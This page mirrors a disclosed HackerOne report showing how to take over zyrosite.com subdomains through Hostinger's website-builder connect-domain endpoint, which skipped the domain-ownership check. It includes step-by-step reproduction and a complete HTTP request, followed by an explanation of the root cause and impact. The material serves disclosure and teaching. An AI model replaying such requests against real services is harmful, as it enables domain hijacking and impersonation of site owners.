Skip to content
Subdomain takeover Disclosed report Intermediate

Able to take over .zyrosite.com subdomains via `/v3/publish/connect-domain-hostinger` API endpoint

The endpoint that connects a custom domain to a Hostinger website builder site did not verify that the user owned the domain, so any user could attach an arbitrary subdomain of zyrosite.com to their own site. An attacker could therefore take over any zyrosite.com subdomain and serve their own content on it.

tosun Follow

Originally disclosed on HackerOne

  • Triaged in 16 hours
  • Fixed in 16 days
  • Paid in 44 hours
  • Disclosed after 26 days

Summary:

Hey team, I was able to take over anysubdomain.zyrosite.com via https://builder-backend.hostinger.com/v3/publish/connect-domain-hostinger endpoint.

I was connected following subdomains to my site for confirming this vulnerability, ; test.zyrosite.com and connect.zyrosite.com ( this was my fault )

you'll see a text liketosun pwn on these subdomains, but If you follow the below steps, you can also connect your site to test.zyrosite.com`

Steps To Reproduce:

###you need to single shared hosting service to reproduce this issue

  1. Login to your hostinger account from hpanel.hostinger.com
  2. Create a website then go to website builder / editor ( you'll be go to like this https://builder.hostinger.com/{siteId} )
  3. Publish your site with top right button

Now get your cookies and paste to below HTTP request

POST /v3/publish/connect-domain-hostinger HTTP/2
Host: builder-backend.hostinger.com
Cookie: {use your cookies on builder page)
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 61
Origin: https://builder.hostinger.com
Referer: https://builder.hostinger.com/
Te: trailers

{"domain":"test.zyrosite.com","siteId":"{yourSiteId}"}

my hostinger account email: █████ my siteId: █████

Impact

able to takeover *.zyrosite.com subdomains.

The original report as published on HackerOne, by tosun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the connect-domain endpoint trusted the domain value supplied by the client and did not check that the caller controlled or was authorised to use that subdomain.

Impact

An attacker could take over any zyrosite.com subdomain and serve their own content there.

What the attacker needed

A Hostinger account; a published website builder site; session cookies from the builder

How it was found

  1. Log in to the Hostinger account and open the website builder.
  2. Create a website and publish it.
  3. Capture the session cookies from the builder page.
  4. Send a request to the connect-domain endpoint with the target zyrosite.com subdomain and the attacker's site ID.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A subdomain is a name like test.example.com that belongs to the main example.com site. The website builder let a logged-in user claim any subdomain of zyrosite.com without proving they controlled it, so the attacker's site appeared at that address. Visitors to the real subdomain would then see the attacker's content.

What is Subdomain takeover?

A company's DNS still points at a cloud service it no longer uses, so anyone can claim it and serve content on the company's domain.

More by tosun

View all

8 more disclosed reports, best first.

More from hostinger

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Subdomain takeover

The lesson behind this report.

A company's DNS still points at a cloud service it no longer uses, so anyone can claim it and serve content on the company's domain.